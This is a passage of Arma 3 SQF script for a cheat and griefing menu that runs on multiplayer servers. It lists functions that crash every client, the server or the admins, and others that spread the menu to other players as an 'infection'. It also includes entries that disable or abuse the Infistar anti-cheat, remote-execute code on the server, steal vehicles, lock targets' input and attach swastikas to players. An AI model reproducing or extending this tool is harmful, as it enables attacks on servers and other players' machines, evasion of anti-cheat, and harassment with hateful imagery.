  2344. ["Nazify All",_nazifyall,false,"", "Attaches a swastika to everyone"],
  2345. ["ODST Drop",_odstdrop,false,"", "Drops everyone from the sky"],
  2346. ["Under The Sea",_utsea,false,"", "Places everyone underwater"],
  2347. ["Weaponize Vehicle",_weaponize,false,"", "Press F to use\nAdds a gatling gun to your current vehicle"],
  2348. ["Explode Cursor",_expcursor,false,"", "LARGE RADIUS\nExplodes under your cursor"],
  2349. ["Blast Wave",_bwave,false,"","LARGE RADIUS\nA line of explosions in the direction you are facing"],
  2350. ["Shock Wave",_swave,false,"","LARGE RADIUS\nAn expanding ring of explosions from your location"],
  2351. ["Nuke",_newk,false,"", "Explosions all around the map\nLASTS 60 SECONDS"],
  2352. ["Nazify Cursor (%1)",_nazify,false,"", "Attaches a nazi symbol to your cursor object"],
  2353. ["Crash All Clients",_call,false,"", "Crashes every player in the server (besides yourself)"],
  2354.  
  2355. ["== Vehicle Launch ==",{},false,"",[0.4,1,1,1]],
  2356. ["Launch Nearest Vehicle",_lnear,false,"", "Launches the nearest vehicle into the sky"],
  2357. ["Launch All Vehicles",_lall,false,"", "Launches every vehicle into the sky"],
  2358. ["Launch Cursor (%1)",_lcursor,false,"", "Launches your cursor object into the sky"],
  2359. ["Launch Forward (%1)",_lforward,false,"", "Launches your cursor object in the direction you are facing"],
  2360.  
  2361. ["== Map Drawing ==",{},false,"",[0.4,1,1,1]],
  2362. ["Draw (Neo-GayPrideFlag)",_drawngpf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
  2363. ["Draw (Neo-GermanFlag)",_drawngf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
  2364. ["Draw (Neo-RussianFlag)",_drawnrf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
  2365. ["Draw (Neo-AmericanFlag)",_drawnaf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
  2366. ["Draw (GayPrideFlag)",_drawgp,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
  2367. ["Draw (AmericanFlag)",_drawaf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
  2368. ["Draw (RussianFlag)",_drawrf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
  2369. ["Draw (GermanFlag)",_drawgf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
  2370.  
  2371. ["== Remote Ex ==",{},false,"",[0.4,1,1,1]],
  2372. ["Remote Vehicle Spawning",_enableremovevspawn,true,"RVspawnToggle", "Toggles spawning vehicles Locally and Remotely\nRemote vehicles can be used by other players"],
  2373. ["HeliMode Spawning",_enablehelimode,true,"HMSpawnToggle", "Requires Remote Vehicle Spawning to be on\nToggles spawning the heli form of each vehicle"],
  2374. ["Rainbow me",_rainbowme,true,"RainBowMeTogg", "Gives you a rainbow effect on your body"],
  2375. ["Knock everyone out",_ko,true,"KOToggle", "Sets everyone to unconscious"],
  2376. ["Delete Everyones Gear",_deleteallgear,false,"", "Removes everyones gear"],
  2377. ["Rainbow Cursor (%1)",_rainbowcursor,false,"", "Causes the cursor object (vehicle or player) to rainbow indefinately"],
  2378. ["Crash Server",_csrvr,false,"", "Crashes the server"],
  2379. ["Desync Server",_sdesync,false,"", "Crashes the server by causing desync"],
  2380. ["Vote 4 Trump",_voteTrump,false,"", "Spams chat with unmarked ""vote 4 trump"" messages"],
  2381. ["Harambe",_haram_be,false,"", "Spams screen with harambe"],
  2382. ["Get on road",_get_on_road,false,"", "Everyone must get on a road or they will die."],
  2383. ["Hihihi Fucker",_infuck,false,"", "Disables admin menu on servers w/ hihihi"],
  2384. ["Admin Fucker",_crash_admins,false,"", "Crashes all admins"],
  2385. ["Give Menu [All]",_infec_noreinfec_allnonadmins,false,"", "Infects everyone and crashes admins\n\nInfected players can NOT reinfect"],
  2386.  
  2387. ["== Saved Loadouts ==",{},false,"",[0.4,1,1,1]],
  2388. ["SAVE CURRENT LOADOUT",_saveLoadout,false,"",[0.4,.7,0.4,1]],
  2389. ["RESET LOADOUTS",_resetLoadouts,false,"",[0.4,.7,0.4,1]]
  2390. ];
  2391.  
  2392. {
  2393. _mainMenu = _mainMenu + [
  2394. ["Loadout " + str(_forEachIndex+1), compile ("player setUnitLoadout " + str(_x)),false,""]
  2395. ];
  2396. } forEach ([_GLOBAL_ARRAY,["IGUI_GRID_CHAT_X_LOADOUTS",[]]] call _get);
  2397.  
  2398. _mainMenu = _mainMenu + [
  2399. ["",{},false,"",[0.3,1,1,1]],
  2400. ["",{},false,"",[0.3,1,1,1]],
  2401. ["<< Exit",_exit,false,"",[1,1,0.3,1]],
  2402. ["<< Reset >>",_reset,false,"",[1,1,0.3,1]]
  2403. ];
  2404. _variableMenu = [
  2405. ["<< Back",{},false,"",[1,1,0.3,1]],
  2406.  
  2407. ["== All Types ==",{},false,"",[0.4,1,1,1]],
  2408. ["Lock Variable",_lock_variable,true,"LockVarToggle%1", "Prevents the variable from being changed"],
  2409. ["Nil Variable",_nil_variable,false,"", "Removes variable from namespace"],
  2410. ["Break Variable",_break_variable,false,"", "compileFinals the variable to break it"],
  2411. ["Export to Log",_export_value_log,false,"", "Exports the value of this variable to the log file"],
  2412. ["Export to Profile",_export_value_profile,false,"", "Exports the value of this variable to the profile.vars file"],
  2413.  
  2414. ["== Numbers ==",{},false,"",[0.4,1,1,1]],
  2415. ["Set to 0",_set_number_to_0,false,"","Sets the number to 0"],
  2416. ["Increase by 1",_inc_number_by_1,false,"","Increases the number by 1"],
  2417. ["Increase by 10,000",_inc_number_by_10000,false,"","Increases the number by 10,000"],
  2418.  
  2419. ["== Booleans ==",{},false,"",[0.4,1,1,1]],
  2420. ["Toggle Value",_toggle_boolean,false,"","Makes true=false or false=true"],
  2421.  
  2422. ["== Threads ==",{},false,"",[0.4,1,1,1]],
  2423. ["Terminate",_terminate_thread,false,"","Kills thread contained in variable"]
  2424. ];
  2425. _targetMenu = [
  2426. ["<< Back",{},false,"",[1,1,0.3,1]],
  2427.  
  2428. ["== Passive ==",{},false,"",[0.4,1,1,1]],
  2429. ["Spectate %1",_spectatoru,true,"SpecTog%1", "Spectate the target\nTo disable spectate you must rerun this script on the target"],
  2430. ["Teleport To %1",_teto,false,"", "Teleport to the target"],
  2431. ["Teleport %1 Here",_tehe,false,"", "Teleport the target here"],
  2432. ["View %1s Inventory",_viewinv,false,"", "View the targets inventory"],
  2433. ["Get in %1s Vehicle",_getinv,false,"", "Get in the targets vehicle"],
  2434.  
  2435. ["== Aggressive ==",{},false,"",[0.4,1,1,1]],
  2436. ["Kick Out %1",_kickout,false,"", "Kick the target out of their vehicle"],
  2437. ["Kick %1s Crew",_kickoutallinv,false,"", "Kick everyone out of the targets vehicle"],
  2438. ["Explode %1",_exptarget,false,"", "LARGE RADIUS\nExplode the target"],
  2439. ["Launch %1s Vehicle",_ltarget,false,"", "Launch the targets vehicle into the air"],
  2440. ["Nazify %1",_nazifyt,false,"", "Attach a swastika to the target, OR if they are in a vehicle, attach it to the vehicle"],
  2441. ["Steal %1s Vehicle",_stealv,false,"", "Become the driver of the targets vehicle\n\nNote: on wasteland this will not work if the target is in the vehicle with someone else"],
  2442. ["WASTE: Steal %1s Vehicle",_stealv2,false,"", "Become the driver of the targets vehicle\n\nNote: this kicks everyone else out of the vehicle as well"],
  2443. ["Crash %1",_ctarget,false,"", "Crashes the targets client"],
  2444.  
  2445. ["== Remote Ex ==",{},false,"",[0.4,1,1,1]],
  2446. ["Give Menu",_infec,false,"", "Give target the infection"],
  2447. ["Give Menu [No Reinfect]",_infec_noreinfec,false,"", "Give target the infection\n\nThe infected player can NOT reinfect"],
  2448. ["HiHi Ban",_inban,false,"", "Infistar bans the target player\n\nNote: this does not work on admins"],
  2449. ["Kamikazi",_kamikazi,false,"", "Drop 150 airplanes on the target"],
  2450. ["Delete Gear",_deletegear,false,"", "Delete the targets gear"],
  2451. ["Frame %1",_frame,false,"", "Frame Murder Mode"],
  2452. ["Make %1 wave",_wave,false,"", "Yeahhh this is broken"],
  2453. ["Rainbow",_rainbow,true,"Rainbow%1", "Makes the target have a rainbow skin"],
  2454. ["Lock %1",_locktarget,true,"Lock%1", "Disables the targets input"],
  2455. ["Knock Out %1",_kotarget,true,"Ko%1", "Makes the target fall unconscious"],
  2456. ["Black Screen %1",_blackscreen,true,"BlackS%1", "Gives the target a black screen"]
  2457.  
  2458. ];
  2459.  
  2460. comment "UI functions";
  2461. _LoadPlayersToList = {
  2462. disableSerialization;
  2463. params["_pList"];
  2464. private["_data","_list","_color","_index","_vehicle","_pic"];
  2465.  
  2466. _data = [];
  2467. _list = if(isMultiplayer) then {allPlayers} else {allunits};
  2468. {
  2469. _data pushBack [str(side _x),str(vehicle _x == _x),_x];
  2470. } forEach _list;
  2471. _data sort true;
  2472.  
  2473.  
  2474. {
  2475. _unit = _x select 2;
  2476.  
  2477. _name = name _unit;
  2478. _color = [1,0.4,1,1];
  2479. if(side _unit == blufor) then {
  2480. _color = [0.4,0.4,1,1];
  2481. };
  2482. if(side _unit == opfor) then {
  2483. _color = [1,0.4,0.4,1];
  2484. };
  2485. if(side _unit == independent) then {
  2486. _color = [0.4,1,0.4,1];
  2487. };
  2488.  
  2489.  
  2490. if(getplayeruid _unit in ["76561198152111329","76561198276380268"]) then {
  2491. _color = [1,1,0.4,1];
  2492. _name = "INFISTAR";
  2493. };
  2494.  
  2495. _index = _pList lbAdd (name _unit);
  2496.  
  2497.  
  2498. _pList lbSetData[_index,getplayeruid _unit];
  2499. _pList lbSetColor [_index,_color];
  2500. _vehicle = typeof(vehicle _unit);
  2501. _pic = "\A3\Ui_f\data\IGUI\RscIngameUI\RscUnitInfo\SI_stand_ca.paa";
  2502. if(vehicle _unit != _unit) then {
  2503. _pic = getText(configFile >> "CfgVehicles" >> _vehicle >> "Picture");
  2504. };
  2505. _pList lbSetPicture [_index,_pic];
  2506. _pList lbSetTooltip [_index, if(vehicle _unit == _unit) then {format["Name: %1\nSide: %2\nVehicle: On Foot\n\nDouble click to target",name _unit,side _unit]} else {format["Name: %1\nSide: %2\nVehicle: %3\n\nDouble click to target",name _unit,side _unit,getText(configFile >> "CfgVehicles" >> _vehicle >> "DisplayName")]}];
  2507. } forEach _data;
  2508. };
  2509. _LoadWeaponList = {
  2510. disableSerialization;
  2511. params["_wList","_weapons"];
  2512.  
  2513. {
  2514. _displayName = _x select 0;
  2515. _config = _x select 1;
  2516. _pic = _x select 2;
  2517.  
  2518. _index = _wList lbAdd _displayName;
  2519. _wList lbSetData[_index,_config];
  2520. _wList lbSetPicture [_index, _pic];
  2521. _wList lbSetTooltip [_index, format["Double Click to spawn a %1 under your feet",_displayName]];
  2522. } forEach _weapons;
  2523.  
  2524. };
  2525. _LoadVehicleList = {
  2526. disableSerialization;
  2527. params["_vList","_vehicles"];
  2528.  
  2529. {
  2530. _type = _x select 0;
  2531. _displayName = _x select 1;
  2532. _config = _x select 2;
  2533. _pic = _x select 3;
  2534.  
  2535. _index = _vList lbAdd _displayName;
  2536. _vList lbSetData[_index,_config];
  2537. _vList lbSetPicture [_index, _pic];
  2538. _vList lbSetTooltip [_index, format["Double Click to spawn a %1 in front of you",_displayName]];
  2539. } forEach _vehicles;
  2540. };
  2541. _LoadVariableList = {
  2542. disableSerialization;
  2543. params["_uList"];
  2544. _vars = (allVariables missionNamespace);
  2545. _vars sort true;
  2546. {
  2547. if((toLower(_x) find "bis") != 0) then {
  2548. if((toLower(_x) find "cheat") != 0) then {
  2549. if((toLower(_x) find "rscdisplay") != 0) then {
  2550. if((toLower(_x) find ".") == -1) then {
  2551. if(_x != "paramsarray") then {
  2552. if((toLower(_x) find toLower("RANDOMVAR")) != 0) then {
  2553. if(!isNil {missionNamespace getVariable _x}) then {
  2554. _value = missionNamespace getVariable _x;
  2555. _txt = str(_value);
  2556. if(count(_txt) > 200) then {
  2557. _txt = _txt select [0,200];
  2558. };
  2559. _index = _uList lbAdd _x;
  2560. _uList lbSetTooltip [_index, "Type: " + typename(_value) + "\n\nValue: " + _txt];
  2561. } else {
  2562. systemchat (_x + " is nil");
  2563. };
  2564. };
  2565. };
  2566. };
  2567. };
  2568. };
  2569. };
  2570. } forEach _vars;
  2571. };
  2572. comment "UI Triggers";
  2573. _PlayerListDblClick = {
  2574. disableSerialization;
  2575. params["_ctrl","_index"];
  2576. _control = (findDisplay 602) displayCtrl 111;
  2577. _control ctrlSetText ("PLIST|" + str(_index));
  2578. };
  2579. _VariableListDblClick = {
  2580. disableSerialization;
  2581. params["_ctrl","_index"];
  2582. _control = (findDisplay 602) displayCtrl 111;
  2583. _control ctrlSetText ("VALIST|" + str(_index));
  2584. };
  2585. _ScriptListDblClick = {
  2586. disableSerialization;
  2587. params["_ctrl","_index"];
  2588. _control = (findDisplay 602) displayCtrl 111;
  2589. _control ctrlSetText ("CLIST|" + str(_index));
  2590. };
  2591. _VehicleListDblClick = {
  2592. disableSerialization;
  2593. params["_ctrl","_index"];
  2594. _control = (findDisplay 602) displayCtrl 111;
  2595. _control ctrlSetText ("VLIST|" + str(_index));
  2596. };
  2597. _WeaponListDblClick = {
  2598. disableSerialization;
  2599. params["_ctrl","_index"];
  2600. _control = (findDisplay 602) displayCtrl 111;
  2601. _control ctrlSetText ("WLIST|" + str(_index));
  2602. };
  2603. comment "UI Events";
  2604. _OnPlayerDblClick = {
  2605. disableSerialization;
  2606. params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
  2607.  
  2608. _LoadScripts = [_GLOBAL_ARRAY,["LoadScripts",{}]] call _get;
  2609.  
  2610. _uid = _ctrl lbData _index;
  2611. _name = _ctrl lbText _index;
  2612. _target = objNull;
  2613. {
  2614. if(getplayeruid _x == _uid && name _x == _name) exitWith {
  2615. _target = _x;
  2616. };
  2617. } forEach (if(isMultiplayer) then {allPlayers} else {allunits});
  2618. if(isNull _target) exitWith {hint "Could not find target!\nDid they disconnect?";};
  2619.  
  2620. [_GLOBAL_ARRAY,["CurrentMenu","TargetMenu"]] call _set;
  2621. [_GLOBAL_ARRAY,["TargetPlayer",_target]] call _set;
  2622.  
  2623. _cList = (findDisplay 602) displayCtrl 640;
  2624.  
  2625. lbClear _cList;
  2626. [_GLOBAL_ARRAY,_set,_get,_cList] spawn _LoadScripts;
  2627.  
  2628. };
  2629. _OnVariableDblClick = {
  2630. disableSerialization;
  2631. params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
  2632.  
  2633. _LoadScripts = [_GLOBAL_ARRAY,["LoadScripts",{}]] call _get;
  2634.  
  2635. _var = _ctrl lbText _index;
  2636.  
  2637. [_GLOBAL_ARRAY,["CurrentMenu","VariableMenu"]] call _set;
  2638. [_GLOBAL_ARRAY,["TargetVariable",_var]] call _set;
  2639.  
  2640. _cList = (findDisplay 602) displayCtrl 640;
  2641.  
  2642. lbClear _cList;
  2643. [_GLOBAL_ARRAY,_set,_get,_cList] spawn _LoadScripts;
  2644.  
  2645. };
  2646. _OnScriptDblClick = {
  2647. disableSerialization;
  2648. params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
  2649.  
  2650. _LoadScripts = [_GLOBAL_ARRAY,["LoadScripts",{}]] call _get;
  2651. _togVar = [_GLOBAL_ARRAY,["togVar",{}]] call _get;
  2652.  
  2653. _cMenu = [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _get;
  2654. _menu = [_GLOBAL_ARRAY,[_cMenu,"MainMenu"]] call _get;
  2655. _target = [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _get;
  2656. _tvar = [_GLOBAL_ARRAY,["TargetVariable",""]] call _get;
  2657.  
  2658. _item = _menu select _index;
  2659. _script = _item select 1;
  2660. _isToggle = _item select 2;
  2661. _variable = _item select 3;
  2662. if(_cMenu == "TargetMenu") then {
  2663. _variable = format[_item select 3,getplayeruid _target];
  2664. };
  2665. if(_cMenu == "VariableMenu") then {
  2666. _variable = format[_item select 3,_tvar];
  2667. };
  2668. _value = false;
  2669. if(_isToggle) then {
  2670. _value = [_variable,_GLOBAL_ARRAY,_set,_get] call _togVar;
  2671. if(_value) then {
  2672. _ctrl lbSetColor [_index,[0.3,1,0.3,1]];
  2673. _ctrl lbSetSelectColor [_index,[0.3,1,0.3,1]];
  2674. } else {
  2675. _ctrl lbSetColor [_index,[1,0.3,0.3,1]];
  2676. _ctrl lbSetSelectColor [_index,[1,0.3,0.3,1]];
  2677. };
  2678. };
  2679.  
  2680. if(_cMenu == "TargetMenu") then {
  2681. [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _set;
  2682. [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _set;
  2683.  
  2684. lbClear _ctrl;
  2685. [_GLOBAL_ARRAY,_set,_get,_ctrl] spawn _LoadScripts;
  2686. };
  2687. if(_cMenu == "VariableMenu") then {
  2688. [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _set;
  2689. [_GLOBAL_ARRAY,["TargetVariable",""]] call _set;
  2690.  
  2691. lbClear _ctrl;
  2692. [_GLOBAL_ARRAY,_set,_get,_ctrl] spawn _LoadScripts;
  2693. };
  2694. _ctrl lbSetCurSel -1;
  2695.  
  2696. if(_cMenu == "VariableMenu") then {
  2697. with missionNamespace do {
  2698. [_GLOBAL_ARRAY,_get,_set,_target,_value,_tvar] call _script;
  2699. };
  2700. } else {
  2701. [_GLOBAL_ARRAY,_get,_set,_target,_value,_tvar] call _script;
  2702. };
  2703. };
  2704. _OnWeaponDblClick = {
  2705. disableSerialization;
  2706. params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
  2707.  
  2708.  
  2709. _holders = player nearObjects ["GroundWeaponHolder",1];
  2710. _gwh = objNull;
  2711. if(count(_holders) > 0) then {
  2712. _gwh = _holders select 0;
  2713. } else {
  2714. _gwh = "groundWeaponHolder" createVehicle (getpos player);
  2715. };
  2716. _class = _ctrl lbData _index;
  2717.  
  2718.  
  2719. if(isClass (configFile >> "CfgWeapons" >> _class)) then {
  2720. if((toLower(_class) find "item" == 0) || (toLower(_class) find "h_" == 0) || (toLower(_class) find "u_" == 0) || (toLower(_class) find "v_" == 0) || (toLower(_class) find "minedetector" == 0) || (toLower(_class) find "binocular" == 0) || (toLower(_class) find "rangefinder" == 0) || (toLower(_class) find "NVGoggles" == 0) || (toLower(_class) find "laserdesignator" == 0) || (toLower(_class) find "firstaidkit" == 0) || (toLower(_class) find "medkit" == 0) || (toLower(_class) find "toolkit" == 0) || (toLower(_class) find "muzzle_" == 0) || (toLower(_class) find "optic_" == 0) || (toLower(_class) find "acc_" == 0) || (toLower(_class) find "bipod_" == 0)) then {
  2721. _gwh addItemCargoGlobal [_class,1];
  2722. } else {
  2723. _gwh addWeaponCargoGlobal [_class,1];
  2724. _mags = getArray(configFile >> "CfgWeapons" >> _class >> "Magazines");
  2725. _mag = "";
  2726. {
  2727. _mag = _x;
  2728. _cfg = configFile >> "CfgMagazines" >> _mag;
  2729. if(isClass _cfg) exitWith {};
  2730. } forEach _mags;
  2731. _gwh addMagazineCargoGlobal [_mag,3];
  2732. };
  2733. };
  2734. if(isClass (configFile >> "CfgMagazines" >> _class)) then {
  2735. _gwh addMagazineCargoGlobal [_class,3];
  2736. };
  2737. if(isClass (configFile >> "CfgVehicles" >> _class)) then {
  2738. _gwh addBackpackCargoGlobal [_class,3];
  2739. };
  2740. _gwh setposatl (getposatl player);
  2741. };
  2742. _OnVehicleDblClick = {
  2743. disableSerialization;
  2744. params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
  2745.  
  2746. _vClass = _ctrl lbData _index;
  2747.  
  2748. _toggle = [_GLOBAL_ARRAY,["RemoteVSpawn",false]] call _get;
  2749. if(_toggle) then {
  2750. _dohelimode = [_GLOBAL_ARRAY,["SpawnHeliMode",false]] call _get;
  2751. if(_dohelimode) then {
  2752. [_GLOBAL_ARRAY,_get,_set,"
  2753. if(isserver) then {
  2754. _heli = ""B_Heli_Light_" + "01_armed_F"" createVehicle " + str(player modeltoworld [0,8,0]) + ";
  2755. _heli setdir (" + str(getdir player) + ");
  2756. {_heli setObjectTextureGlobal [_forEachIndex,""""];} forEach getObjectTextures _heli;
  2757. _heli setVar" + "iable [""ROFL"",true,true];
  2758.  
  2759. _obj = (""" + _vClass + """) createVehicle [0,0,0];
  2760. _obj attachTo [_heli,[0,0,1]];
  2761. };
  2762. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2763.  
  2764. waitUntil{_found = false;{if(_x getVariable ["ROFL",false]) exitWith {_found = true;};} forEach (player nearObjects ["B_Heli_Light_01_armed_F",30]);_found};
  2765. {
  2766. if(_x getVariable ["ROFL",false]) exitWith {
  2767. player moveInDriver _x;
  2768. };
  2769. } forEach (player nearObjects ["B_Heli_Lig" + "ht_01_armed_F",30]);
  2770. } else {
  2771. [_GLOBAL_ARRAY,_get,_set,"
  2772. if(isserver) then {
  2773. _obj = (""" + _vClass + """) createVehicle " + str(position player) + ";
  2774. _obj setposasl (agltoasl(" + str(player modeltoworld [0,8,0]) + "));
  2775. _obj setdir (" + str(getdir player) + ");
  2776. };
  2777. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2778. };
  2779. } else {
  2780. _obj = _vClass createVehicleLocal (position player);
  2781. _obj setposasl (agltoasl(player modeltoworld [0,8,0]));
  2782. _obj setdir (getdir player);
  2783. };
  2784. hint format["Spawned a %1",_ctrl lbText _index];
  2785. };
  2786.  
  2787.  
  2788. _LoadScripts = {
  2789. disableSerialization;
  2790. params["_GLOBAL_ARRAY","_set","_get","_cList"];
  2791.  
  2792. _cMenu = [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _get;
  2793. _menu = [_GLOBAL_ARRAY,[_cMenu,"MainMenu"]] call _get;
  2794. _target = [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _get;
  2795. _tvar = [_GLOBAL_ARRAY,["TargetVariable",objNull]] call _get;
  2796. {
  2797. _text = format[_x select 0,name _target];
  2798. if(isNull _target) then {
  2799. _text = format[_x select 0,getText(configFile >> "CfgVehicles" >> typeof cursorObject >> "DisplayName")];
  2800. };
  2801. _script = _x select 1;
  2802. _isToggle = _x select 2;
  2803. _variable = _x select 3;
  2804. if(_cMenu == "TargetMenu") then {
  2805. _variable = format[_x select 3,getplayeruid _target];
  2806. };
  2807. if(_cMenu == "VariableMenu") then {
  2808. _variable = format[_x select 3,_tvar];
  2809. };
  2810. _value = [_GLOBAL_ARRAY,[_variable,false]] call _get;
  2811.  
  2812. _index = _cList lbAdd _text;
  2813. if(count(_x) > 4) then {
  2814. if(count(_x) > 5) then {
  2815. _cList lbSetColor [_index,_x select 4];
  2816. _cList lbSetSelectColor [_index,_x select 4];
  2817. _cList lbSetTooltip [_index,_x select 5];
  2818. } else {
  2819. if(typename (_x select 4) == typename "") then {
  2820. _cList lbSetTooltip [_index,_x select 4];
  2821. } else {
  2822. _cList lbSetColor [_index,_x select 4];
  2823. _cList lbSetSelectColor [_index,_x select 4];
  2824. };
  2825. };
  2826.  
  2827. };
  2828. if(_isToggle) then {
  2829. if(_value) then {
  2830. _cList lbSetColor[_index,[0.3,1,0.3,1]];
  2831. _cList lbSetSelectColor [_index,[0.3,1,0.3,1]];
  2832. } else {
  2833. _cList lbSetColor[_index,[1,0.3,0.3,1]];
  2834. _cList lbSetSelectColor [_index,[1,0.3,0.3,1]];
  2835. };
  2836. };
  2837. } forEach _menu;
  2838. };
  2839. _EventTrigger = {
  2840. params["_GLOBAL_ARRAY","_set","_get"];
  2841.  
  2842. _OnPlayerDblClick = [_GLOBAL_ARRAY,["OnPlayerDblClick",{}]] call _get;
  2843. _OnScriptDblClick = [_GLOBAL_ARRAY,["OnScriptDblClick",{}]] call _get;
  2844. _OnWeaponDblClick = [_GLOBAL_ARRAY,["OnWeaponDblClick",{}]] call _get;
  2845. _OnVehicleDblClick = [_GLOBAL_ARRAY,["OnVehicleDblClick",{}]] call _get;
  2846. _OnVariableDblClick = [_GLOBAL_ARRAY,["OnVariableDblClick",{}]] call _get;
  2847.  
  2848.  
  2849. disableSerialization;
  2850. while{[_GLOBAL_ARRAY,["IsRunning",true]] call _get} do {
  2851. waitUntil{!isNull (findDisplay 602)};
  2852. _ctrl = (findDisplay 602) displayCtrl 111;
  2853. _ctrl ctrlSetText "";
  2854. waitUntil{isNull _ctrl || ctrlText _ctrl != ""};
  2855. if(!isNull _ctrl) then {
  2856. _data = ctrlText _ctrl;
  2857. if(_data != "") then {
  2858. _parts = _data splitString "|";
  2859. _list = _parts select 0;
  2860. _index = parseNumber (_parts select 1);
  2861. if(_list == "PLIST") then {
  2862. [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 632,_index] spawn _OnPlayerDblClick;
  2863. };
  2864. if(_list == "WLIST") then {
  2865. [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 633,_index] spawn _OnWeaponDblClick;
  2866. };
  2867. if(_list == "VLIST") then {
  2868. [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 638,_index] spawn _OnVehicleDblClick;
  2869. };
  2870. if(_list == "VALIST") then {
  2871. [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 619,_index] spawn _OnVariableDblClick;
  2872. };
  2873. if(_list == "CLIST") then {
  2874. [_GLOBAL_ARRAY,_get,_set,(findDisplay 602) displayCtrl 640,_index] spawn _OnScriptDblClick;
  2875. };
  2876. };
  2877. };
  2878.  
  2879. };
  2880. };
  2881. _OpenMainUI = {
  2882. params["_GLOBAL_ARRAY","_set","_get"];
  2883. _LoadPlayersToList = [_GLOBAL_ARRAY,["LoadPlayersToList",{}]] call _get;
  2884. _LoadWeaponList = [_GLOBAL_ARRAY,["LoadWeaponList",{}]] call _get;
  2885. _LoadVehicleList = [_GLOBAL_ARRAY,["LoadVehicleList",{}]] call _get;
  2886. _DtCreate = [_GLOBAL_ARRAY,["DtCreate",{}]] call _get;
  2887. _PlayerListDblClick = [_GLOBAL_ARRAY,["PlayerListDblClick",{}]] call _get;
  2888. _VariableListDblClick = [_GLOBAL_ARRAY,["VariableListDblClick",{}]] call _get;
  2889. _ScriptListDblClick = [_GLOBAL_ARRAY,["ScriptListDblClick",{}]] call _get;
  2890. _VehicleListDblClick = [_GLOBAL_ARRAY,["VehicleListDblClick",{}]] call _get;
  2891. _WeaponListDblClick = [_GLOBAL_ARRAY,["WeaponListDblClick",{}]] call _get;
  2892. _LoadScripts = [_GLOBAL_ARRAY,["LoadScripts",{}]] call _get;
  2893. _LoadVariableList = [_GLOBAL_ARRAY,["LoadVariableList",{}]] call _get;
  2894. _vehicleList = [_GLOBAL_ARRAY,["vehicleData",[]]] call _get;
  2895. _weaponList = [_GLOBAL_ARRAY,["weaponData",[]]] call _get;
  2896.  
  2897. comment "Reset menu";
  2898. [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _set;
  2899. [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _set;
  2900.  
  2901. disableSerialization;
  2902. _display = findDisplay 602;
  2903. {
  2904. _x ctrlShow false;
  2905. } forEach (allControls _display);
  2906.  
  2907. _pList = _display displayCtrl 632;
  2908. _cList = _display displayCtrl 640;
  2909.  
  2910. lbClear _pList;
  2911. lbClear _cList;
  2912.  
  2913. _ctrl = _display displayCtrl 632;
  2914. _size = ctrlPosition _ctrl;
  2915.  
  2916. comment "MAIN UI DESIGN";
  2917. _pList ctrlShow true;
  2918. _pList ctrlSetPosition [safeZoneX + (safeZoneW/2) + 0.005,safeZoneY + (SafeZoneH/2) - ((_size select 3)/2),_size select 2,_size select 3];
  2919. _pList ctrlCommit 0;
  2920. [_pList] spawn _LoadPlayersToList;
  2921. _pList ctrlAddEventHandler ["LbDblClick",_PlayerListDblClick];
  2922.  
  2923. _cList ctrlShow true;
  2924. _cList ctrlSetPosition [safeZoneX + (safeZoneW/2) - 0.005 - (_size select 2),safeZoneY + (SafeZoneH/2) - ((_size select 3)/2),_size select 2,_size select 3];
  2925. _cList ctrlCommit 0;
  2926. [_GLOBAL_ARRAY,_set,_get,_cList] spawn _LoadScripts;
  2927. _cList ctrlAddEventHandler ["LbDblClick",_ScriptListDblClick];
  2928.  
  2929. _back1 = _display displayCtrl 1001;
  2930. _back1 ctrlShow true;
  2931. _back1 ctrlSetPosition [safeZoneX + (safeZoneW/2) + 0.005,safeZoneY + (SafeZoneH/2) - ((_size select 3)/2),_size select 2,_size select 3];
  2932. _back1 ctrlCommit 0;
  2933.  
  2934. _back2 = _display displayCtrl 1002;
  2935. _back2 ctrlShow true;
  2936. _back2 ctrlSetPosition [safeZoneX + (safeZoneW/2) - 0.005 - (_size select 2),safeZoneY + (SafeZoneH/2) - ((_size select 3)/2),_size select 2,_size select 3];
  2937. _back2 ctrlCommit 0;
  2938.  
  2939. comment "OTHER LISTBOXES";
  2940. _wList = _display displayCtrl 633;
  2941. _vList = _display displayCtrl 638;
  2942. _uList = _display displayCtrl 619;
  2943.  
  2944. lbClear _wList;
  2945. lbClear _vList;
  2946.  
  2947. _ctrl = _display displayCtrl 619;
  2948. _size2 = ctrlPosition _ctrl;
  2949.  
  2950. _wList ctrlShow true;
